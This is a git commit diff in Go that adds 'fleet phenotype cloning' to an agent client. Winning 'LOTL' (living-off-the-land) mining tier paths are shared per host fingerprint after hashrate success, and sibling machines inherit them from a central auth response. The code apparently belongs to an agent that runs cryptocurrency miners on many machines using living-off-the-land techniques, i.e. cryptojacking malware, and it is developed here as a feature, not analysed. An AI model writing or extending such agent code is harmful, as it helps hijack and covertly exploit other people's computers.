Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
@@ -8,11 +8,27 @@ import (
|
||||
|
||||
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
||||
policy := c.tierPolicy
|
||||
if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 {
|
||||
c.mu.Unlock()
|
||||
return miner.DefaultMiningTierPolicy()
|
||||
}
|
||||
return c.tierPolicy
|
||||
if len(c.atlasSkips) > 0 {
|
||||
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
|
||||
for _, t := range policy.SkipTiers {
|
||||
have[t] = true
|
||||
}
|
||||
for _, skip := range c.atlasSkips {
|
||||
tier := miner.LOTLTier(skip.Tier)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||
}
|
||||
}
|
||||
c.mu.Unlock()
|
||||
return policy
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
@@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
}
|
||||
if len(resp.AtlasSkips) > 0 {
|
||||
c.applyAtlasSkips(resp.AtlasSkips)
|
||||
}
|
||||
if inheritedPhenotypePresent(resp.InheritedPhenotype) {
|
||||
c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype)
|
||||
return
|
||||
}
|
||||
if len(resp.AdaptiveStrategy) > 0 {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
|
||||
Reference in New Issue
Block a user